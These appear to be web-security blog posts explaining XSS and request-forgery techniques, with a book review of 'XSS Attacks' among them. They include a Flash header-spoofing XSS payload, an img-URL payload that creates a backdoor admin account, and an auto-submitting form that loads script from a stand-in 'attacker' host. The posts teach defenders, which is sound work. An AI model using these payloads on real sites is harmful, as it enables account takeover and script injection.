All your header are belong to us

First there came XMLHttpRequest, and then came Flash. This week, Alex released some great research demonstrating a new technique for spoofing browser HTTP headers.

The original problem with Flash was that it could be used to spoof any HTTP header within the browser of a user who invoked the Flash object. The fix that was applied to Flash did not make the problem go away altogether. It prevented Flash being used to spoof certain built-in browser headers, such as Referer and User-Agent. However, if a vulnerable page echoes the contents of all the headers that it received (as often happens in diagnostic error messages), then Flash is still a viable delivery mechanism for a reflected XSS attack.

What Alex has noticed is that many programming languages use underscores instead of hyphens when naming a header whose value they wish to access. For example, in PHP the following will retrieve the value of the User-Agent header:

$_SERVER['HTTP_USER_AGENT']

Predictably enough, a Flash object can be used to spoof a header containing the non-standard name:

req.addRequestHeader("User_Agent", "<script>alert('xss')</script>");

This is not blocked by the fix to the original problem, and yet in many languages (most notably PHP, Perl, Ruby and ColdFusion) the application will process the attacker's payload instead of the browser's built-in header. Very nice.

Alex also discusses some other attacks, which are well worth a read.

There is an important lesson in all of this, beyond the detail of the actual attack. The subject of request header spoofing arises in all kinds of situations, including XSS, XSRF and DNS pinning. Some people do not realise there is a problem at all, and many others think it has gone away through fixes to Flash and other client-side technologies. Even if the new hole is ultimately plugged, I'd bet that another one will be found soon enough. But regardless of that, we should in general make the working assumption that a malicious web site can spoof any request header of a user who accesses that site. If your application contains XSS when echoing request headers, then fix the bug. If your application trusts request headers when defending against other attacks, then find a more robust defence, before someone else finds a way to bypass it.

Book review: Cross Site Scripting Attacks

I just read XSS Attacks by Jeremiah Grossman, Robert Hansen, Anton Rager, Petko Petkov and Seth Fogie. The book is a comprehensive analysis of XSS and related vulnerabilities, and covers everything from a beginner's introduction to XSS through to advanced exploitation and the latest attack techniques.

Overall, the book is well-organised, technically accurate, and full of pertinent examples and code extracts to illustrate the different vulnerabilities and attacks being described. There are plenty of tricks that will benefit even experienced web app hackers, including a wealth of filter bypasses, and coverage of offbeat topics such as injection into style sheets and use of non-standard content encoding.

There is strong coverage of recent research including JavaScript-based port scanning, history stealing and JSON hijacking, as you would expect given that these techniques were largely poineered by some of the authors. All of their explanations are clear and precise, and contain sufficient detail for you to fully understand each issue, and put together working code to exploit it. The book also includes the use of non-standard vehicles such as Flash and PDF for delivery of XSS attacks.

Here and there, the book displays the effects of multiple authorship, notably in the discussion of the best tools for finding XSS flaws. I know that some of the authors have rather opposing views on that question, but it is always good to get different people's perspectives on the tools they find most useful. There are also a few typos and editorial glitches, but that is the price you pay for being quick to market, as they evidently are.

Overall, this is a great book that will benefit a wide range of people, from novices to seasoned hackers. It is fun to read, with plenty of lighter moments punctuating the technical meat. Nothing else currently available is hitting this target - get it while it's hot!

On-site request forgery

Request forgery is a familiar attack payload for exploiting stored XSS vulnerabilities. In the MySpace worm, Samy placed a script within his profile which caused any user viewing the profile to perform various unwitting actions, including adding Samy as a friend and copying his script into their own profile. In many XSS scenarios, when you simply wish to perform a particular action with different privileges, on-site request forgery is easier and more reliable than attempting to hijack a victim’s session.

What is less well appreciated is that stored on-site request forgery bugs can exist when XSS is not possible. Consider a message board application which lets users submit items that are viewed by other users. Messages are submitted using a request like the following:

POST /submit.php
Content-Length: 34

type=question&name=daf&message=foo

which results in the following being added to the messages page:

<tr>
  <td><img src="/images/question.gif"></td>
  <td>daf</td>
  <td>foo</td>
</tr>

In this situation, you would of course test for XSS. However, it turns out that the application is properly HTML-encoding any " < and > characters which it inserts into the page. Having satisfied yourself that this defence cannot be bypassed in any way, you might move on to the next test.

But look again. We control part of the target of the <img> tag. Although we can’t break out of the quoted string, we can modify the URL to cause any user who views our message to make an arbitrary on-site GET request. For example, submitting the following value in the type parameter will cause anyone viewing our message to make a request which attempts to add a new administrative user:

../admin/newUser.php?username=daf2&password=0wned &role=admin#

When an ordinary user is induced to issue our crafted request, it will of course fail. But when an administrator views our message, our backdoor account gets created. We have performed a successful on-site request forgery attack even though XSS is not possible. And of course, the attack will succeed even if administrators take the precaution of disabling JavaScript.

(In the above attack string, note the # character which effectively terminates the URL before the .gif suffix. We could just as easily use & to incorporate the suffix as a further request parameter.)

Exploiting XSS in POST requests

One good question I was asked in Amsterdam was whether it is possible to exploit a reflected cross-site scripting bug that can only be triggered via a POST request. The answer, of course, is "yes".

There are plenty of delivery mechanisms for reflected XSS attacks, only some of which involve inducing a victim to click on a crafted URL. For example, an attacker can create an innocuous looking web page containing an HTML form with the required fields, and a script which auto-submits the form:

<form name=TheForm action=http://vuln-app/page.jsp method=post>
<input type=hidden name=foo value=&quot;&gt;&lt;script&#32;src=http://attacker/ bad.js&gt;&lt;/script&gt;>
</form>
<script>
document.TheForm.submit();
</script>

Rather than creating his own web site, the attacker could of course inject the above attack into a third-party application via a stored XSS bug. The form is submitted cross-domain (as in a cross-site request forgery attack), but the resulting payload executes within the security context of the vulnerable application, enabling the full range of standard XSS attack actions to be performed.